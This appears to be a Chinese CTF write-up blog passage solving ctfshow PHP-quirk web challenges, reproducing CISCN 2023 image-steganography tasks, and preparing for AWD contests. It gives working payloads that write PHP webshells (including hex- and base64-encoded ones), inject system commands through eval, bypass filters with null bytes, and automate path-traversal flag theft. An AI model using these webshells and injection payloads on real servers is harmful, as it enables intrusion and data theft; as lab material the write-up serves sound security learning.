//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>
payload: get : ?n=1.php post:content=

payload

1
2
3
4
in_array延用了php中的==
具体内容可以查看php手册->附录->PHP类型比较表
因为新加进去的随机数字每次都包含1,1存在的几率是最大的。
所以直接写 n=1.php post:content=<?php eval($_POST[1]);?>多试几次即可

0x27-[ctfshow]php特性-web100

考点:and与&&的区别+反射类ReflectionClass的使用

参考:https://blog.csdn.net/miuzzx/article/details/109168454#web9092939495_24

https://blog.csdn.net/rfrder/article/details/112882464

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}
?>

hint

1
2
3
这道题基本上没有对参数进行过滤,所以直接执行命令

?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

payload

1
?v1=1&v2=echo new ReflectionClass&v3=;
1
2
直接输出$ctfshow;构造出 var_dump($ctfshow);
payload:v1=1&v2=var_dump($ctfshow)/*&v3=*/;
1
2
3
4
因为过滤的字符比较少,所以可以直接执行命令。
方法不固定,在此聚两个例子
v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
v1=1&v2=-system('ls')-&v3=-1;

扩展

and与&&的区别+反射类ReflectionClass的使用

1
2
3
4
5
6
<?php
$a=true and false and false;
var_dump($a); 返回true

$a=true && false && false;
var_dump($a); 返回false
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}

var_dump($a->getName()); 获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}

20210126121456572

0x28-[ctfshow]php特性-web101

考点:同100题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}
?>

hint

1
?v1=1&v2=echo new Reflectionclass&v3=;
1
替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位

payload

1
同100题

0x29-[ctfshow]php特性-web102

考点:hex2bin

参考:https://blog.csdn.net/miuzzx/article/details/109168454#web9092939495_24

https://blog.csdn.net/rfrder/article/details/112882464

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>

hint

1
2
3
4
5
6
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag

payload:php5

1
2
v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
1
2
<?php eval($_POST[1]);?>
0x3c3f706870206576616c28245f504f53545b315d293b3f3e

payload:php7

1
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin

扩展

1
2
3
is_numeric在php5的环境中,是可以识别十六进制的
var_dump(is_numeric("0x66")); php5的环境下返回true php7返回false

1
2
3
4
$a="xxx";
$b=base64_encode($a);
$c=bin2hex($b);
如果$c全部都是纯数字就可以了。
1
2
3
4
5
6
7
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64
输出 5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

结语:参考其他大牛师傅的wp看php特性真爽!

0x30-[ctfshow]php特性-web103

考点:同上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
?>

hint

1
2
3
4
5
6
GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#访问1.php后查看源代码获得flag

结语:考点和上面相同,记录一下题目。

0x31-[ctfshow]php特性-web104

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>

hint

1
2
3
4
5
#payload
aaK1STfY
0e76658526655756207688271159624026011393
aaO8zKZF
0e89257456677279068558073954252716165668

payload

1
post: v1=a get: v2=a

0x32-[ctfshow]php特性-web106

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>

payload

1
数组绕过
1
2
3
4
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m

结语:复阳了,还没好,多少看两道题吧。

0x33-[ctfshow]php特性-web105

考点:变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

hint

1
考察:php的变量覆盖 payload: GET: ?suces=flag POST: error=suces

payload

1
GET: ?jere=flag POST: error=jere

结语:用一个中间变量绕过限制就行,

0x34-[ctfshow]php特性-web107

考点:parse_str

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}
?>

hint

1
GET: ?v3=240610708 POST: v1=flag=0

payload

1
GET: ?v3=0 POST: v1=flag=cfcd208495d565ef66e7dff9f98764da

扩展:

1
md5(240610708) == 0e462097431906509019562988736854
1
2
3
4
5
6
7
parse_str函数


$a='q=123&p=456';
parse_str($a,$b);
echo $b['q']; //输出123
echo $b['p']; //输出456

0x35-[ctfshow]php特性-web108

考点:ereg函数漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

?>

hint

1
2
3
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

?c=a%00778

payload

1
?c=a%00778

扩展

1
正则表达式只会匹配%00之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877%00a,再用intval函数获取整数部分得到877,877为0x36d的10进制
1
preg_match和 preg_match_all区别是preg_match只匹配一次。而preg_match_all全部匹配,直到字符串结束。

0x36-[ctfshow]php特性-web109

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>

hint

1
Exception 异常处理类 http://c.biancheng.net/view/6253.html payload: ?v1=Exception&v2=system('cat fl36dg.txt') ?v1=Reflectionclass&v2=system('cat fl36dg.txt')

payload

1
2
v1=Exception();system('tac f*');//&v2=a
v1=ReflectionClass&v2=system('tac f*')
1
2
3
?v1=Exception();system("ls");//&v2=a
?v1=ReflectionClass&v2=system("ls")
?v1=ReflectionClass("PDO");system("ls");//&v2=a

中间那个,可以不闭合的原理就是因为先执行的system,然后才报的错。你可以理解成phpinfo(system("ls"));,先执行的system

扩展

1
2
3
4
5
6
7
8
https://xz.aliyun.com/t/9293

PHP 原生类有如下几个:
Error
Exception
SoapClient
DirectoryIterator
SimpleXMLElement

0x37-[ctfshow]php特性-web110

考点:FilesystemIterator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

?>

hint

1
考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件 http://phpff.com/filesystemiterator https://www.php.net/manual/zh/class.filesystemiterator.php getcwd()函数 获取当前工作目录 返回当前工作目录 payload: ?v1=FilesystemIterator&v2=getcwd

payload

1
v1=FilesystemIterator&v2=getcwd

扩展

image-20230520130730839

1
如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件,所以这题的flag文件和之前一样都是.txt

0x38-[ctfshow]php特性-web111

考点:GLOBAL全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}

}

?>

hint

1
考察:全局变量 为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量 payload: ?v1=ctfshow&v2=GLOBALS

payload

1
?v1=ctfshow&v2=GLOBALS

扩展

image-20230520132240265

ox40-[CISCN 2023 初赛]国粹-复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from PIL import Image,ImageChops
import os
'''
img目录下放a.png k.png t.png
'''
def get_k_img():
if not os.path.exists('./imgs_k/'):
os.mkdir('./imgs_k')
img = Image.open('./img/k.png')
for i in range(341):
box = (53*i,0,53*i+53,73)
new_image = img.crop(box)
new_image.save(f'./imgs_k/{str(i)}.png')
def get_a_img():
if not os.path.exists('./imgs_a/'):
os.mkdir('./imgs_a')
img = Image.open('./img/a.png')
for i in range(341):
box = (53 * i, 0, 53 * i + 53, 73)
new_image = img.crop(box)
new_image.save(f'./imgs_a/{str(i)}.png')
def get_dict():
if not os.path.exists('./imgs_dict/'):
os.mkdir('./imgs_dict')
img = Image.open('./img/t.png')
for i in range(1,43):
box = (53*i,0,53*i+53,73)
new_image = img.crop(box)
new_image.save(f'./imgs_dict/{str(i)}.png')
def get_compare(res_file_path,tar_file_path):
img1 = Image.open(res_file_path)
img2 = Image.open(tar_file_path)
try:
img2 = img2.convert('RGB')
diff = ImageChops.difference(img1, img2)
if diff.getbbox() is None:
return True
else:
return False

except Exception as e:
print(e)
return False
def get_k():
res = []
for i in range(341):
img_path = f'./imgs_k/{str(i)}.png'
for j in range(1,42):
img_dict_path = f'./imgs_dict/{str(j)}.png'
if get_compare(img_path, img_dict_path):
res.append(j)
break
print(res)
return res
def get_a():
res = []
for i in range(341):
img_path = f'./imgs_a/{str(i)}.png'
for j in range(1, 42):
img_dict_path = f'./imgs_dict/{str(j)}.png'
if get_compare(img_path, img_dict_path):
res.append(j)
break
print(res)
return res
def get_res():
a = get_a()
k = get_k()
new_img = Image.new('RGB',(42,42))
for j,i in zip(a,k):
new_img.putpixel((i,j),(255,255,255))
# new_img = new_img.transpose(Image.FLIP_LEFT_RIGHT)
# new_img = new_img.transpose(Image.FLIP_TOP_BOTTOM)
new_img.save('./res.png')
new_img.show()
get_dict()
get_a_img()
get_k_img()
get_res()

ox41-[CISCN 2023 初赛]puzzle-复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
def part1():
import os
from PIL import Image

new_img = Image.new("RGB", (7200, 4000))

if not os.path.exists("out"):
os.makedirs("out", exist_ok=True)

for root, dirs, files in os.walk("./tmp4"):
for file in files:
imgPath = os.path.join(root, file)
with open(imgPath, "rb") as f:
data = f.read()

with open(os.path.join("out", f"{file}"), "wb") as f:
f.write(data[:0x16] + (100).to_bytes(4, byteorder="little", signed=False) + data[0x16 + 4:])

for root, dirs, files in os.walk("./out"):
for file in files:
imgPath = os.path.join(root, file)
img = Image.open(imgPath)

with open(imgPath, "rb") as f:
data = f.read(10)
x = int.from_bytes(data[6:8], byteorder="little", signed=False)
y = int.from_bytes(data[8:], byteorder="little", signed=False)
new_img.paste(img, (x, y))

new_img.save("part1.png")
# new_img.show()
def part2():
import os
import libnum
from PIL import Image

# 7200, 4000
dic = {i: [] for i in range(4000 // 100)}

for root, dirs, files in os.walk("./tmp4"):
for file in files:
imgPath = os.path.join(root, file)
img = Image.open(imgPath)

with open(imgPath, "rb") as f:
data = f.read(0x16 + 4)
x = int.from_bytes(data[6:8], byteorder="little", signed=False)
y = int.from_bytes(data[8:10], byteorder="little", signed=False)
height = 0 if int.from_bytes(data[0x16:0x16 + 4], byteorder="little", signed=True) == -100 else 1

dic[y // 100].append([x, height])

bin_str = ""
for key, values in dic.items():
# print(key,values)

values = sorted(values, key=lambda x: x[0])
for value in values:
bin_str += f"{value[-1]}"

# print(bin_str)
print(libnum.b2s(bin_str))
def part3():
import os
from PIL import Image

# 7200, 4000
dic = {i: [] for i in range(4000 // 100)}

"""
Q:如何计算填补呢?

这个比较简单,比如说图片位深度为24,那就是3个通道,也就是RGB的色彩空间(同等与一个像素占用3字节)。
比如说现在有一张图片,宽度为3,高度为2,RGB色彩空间;3 * 3 = 9 (byte),9 % 4 = 1,差3个字节才能4字节补齐。
每行就会填补3个字节,高度为2,那就一共2行,会填补6字节。
"""

for root, dirs, files in os.walk("./tmp4"):
for file in files:
imgPath = os.path.join(root, file)
# imgPath = root+'/'+file
img = Image.open(imgPath)

with open(imgPath, "rb") as f:
data = f.read()
x = int.from_bytes(data[6:8], byteorder="little", signed=False)
y = int.from_bytes(data[8:10], byteorder="little", signed=False)
width = abs(int.from_bytes(data[0x12:0x12 + 4], byteorder="little", signed=True))
height = abs(int.from_bytes(data[0x16:0x16 + 4], byteorder="little", signed=True))

pixelData = data[54:]
if (size := width * 3 % 4) != 0:
paddingSize = 4 - size
# print(paddingSize, imgPath)

paddingData = b""
for i in range(width * 3, len(pixelData), width * 3 + paddingSize):
paddingData += pixelData[i:i + paddingSize]
dic[y // 100].append([x, paddingData, imgPath])

allPaddingData = b""
for key, values in dic.items():
values = sorted(values, key=lambda x: x[0])
for value in values:
allPaddingData += value[1]

with open("part3.jpg", "wb") as f:
f.write(allPaddingData)

part1()
part2()
part3()

结语:看了群里发的puzzle的解题思路,复现了一下。

主要就是bmp的三个点:

1.保留数据可以隐藏信息。这个应该是参考的2022的春秋杯,思路很妙。

2.bmp的高度为负,代表上下翻转。利用此特性隐藏了01序列信息。翻转的代表0,正常的代表1

3.bmp的padding数据隐藏了一张图片,太妙了。

复现整个题,感觉题出的非常妙,质量很高,比国粹单纯的脑洞感觉要高很多。师傅解题脚本写的也非常妙,一些用法都是之前没接触到的。收获很大,对bmp图片题有了新的认识。

另外学习到了一些细节的知识点,01查看文件结构,大端序小端序,有无符号数,等等在这个题中都是关键。

0x42-lsb_encode_decode_with_numpy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import numpy as np
from PIL import Image
import libnum

def lsb_encode(data):
new_img = np.asarray(Image.new('RGB',(100,100),(255,255,255)),dtype=np.uint8)
a,b,c = new_img.shape
img_data = new_img.reshape(a*b*c)
bin_data = libnum.s2b(data)

bin_data_padding = bin_data+('0'*(len(img_data) - len(bin_data))) if len(img_data) > len(bin_data) else print('error')
res_data = np.array([(i >> 1)*2+int(j) for i,j in zip(img_data,bin_data_padding)],dtype=np.uint8).reshape((a,b,c))
img = Image.fromarray(res_data)
img.save('./img.png')
def lsb_decode(img):
img_data = np.array(Image.open(img).convert('RGB'))
a,b,c = img_data.shape
res_data = img_data.reshape(a*b*c)
data = ''.join(str(i%2) for i in res_data)
res = ''.join(chr(int(data[i:i+8],2)) for i in range(0,len(data),8))
return res
lsb_encode('flag{test_flag}')
res = lsb_decode('./img.png')
print(res)

结语:看最近用numpy用的比较多,加上昨天复现了图片隐写,就用numpy写了一个简洁的lsb实现,decode是参考之前一个比赛的脚本,encode是自己是实现的。

0x43-线下AWD比赛准备

在准备AWD比赛了,第一次打,在网上学习了一下,这是一部分的内容,就不全贴了。

1.https://www.anquanke.com/post/id/245158#h3-10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
def getFlag(ip, port, dir)
fullUrl = "http://" + ip + ":" + port + url
res = requests.get(url = fullUrl)
return res.text

def subFlag(r_time, ip, port, dir, token):
#Set submit flag url
f_url = 'http://10.10.10.10/api/v1/att_def/web/submit_flag/?event_id=21'
#Set token
while True:
for q in ip:
# q是单个ip,port是端口,shell为初始后门的地址,passwd为初始后门的密码
flag_tmp = get_flag(ip, port, dir)
s_f_pay = {
'flag':flag_tmp,
'token':token
}

# r = requests.post(url,headers=headers,data = json.dumps(data))
r = requests.post(f_url, data = s_f_pay)
print(r.text)
time.sleep(r_time * 60)

if __name__ == '__main__' :
# 这个可以看请况写个循环,遍历出所有ip
subFlag(10, 172.35.19.11, 80, "/statics/1.php?file=../../../../../../flag", "FUPDSjgifpoejsiJIFPjipojfdsa")

2.https://www.cnblogs.com/bingogo/p/12099003.html

记一次AWD自动获取flag并提交

背景

近期部门内搭建了攻防实验平台供大家练习,周末组织了一波AWD练习,之前都是做渗透测试比较多,加之题目比较简单,找到漏洞getshell拿flag都没问题,只不过如果没找到突破口flag都要手动提交的话,拿分会慢很多。
在过程中发现其实除了getshell后在服务器根目录/下读到flag,其实靶机网站中还存在一个任意文件读取漏洞,那这样写脚本自动flag就简单得多了。

自动提交flag的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#! /usr/bin/env python
# coding: utf-8

import os
import time
import request

url = "http://10.233.*.*:800/admin/Database/downFile.html?type=sql&file=../../../../../../../flag"

while True:
flag = request.get(url,cookie={'skin':'0','PHPSESSID':'18kdkfhsdkfh3323'}).text
print flag
url2 = 'http://10.233.*.*:801/flag_file.php?token=team3&flag=%s' %flag
submit = request.get(url2).text
print submit
time.sleep(60*2) #flag两分钟更新一次

后记

只是想记录一下,flag不一定需要getshell后才能拿到,所以写自动提交flag的脚本也可以是多样的

 Comments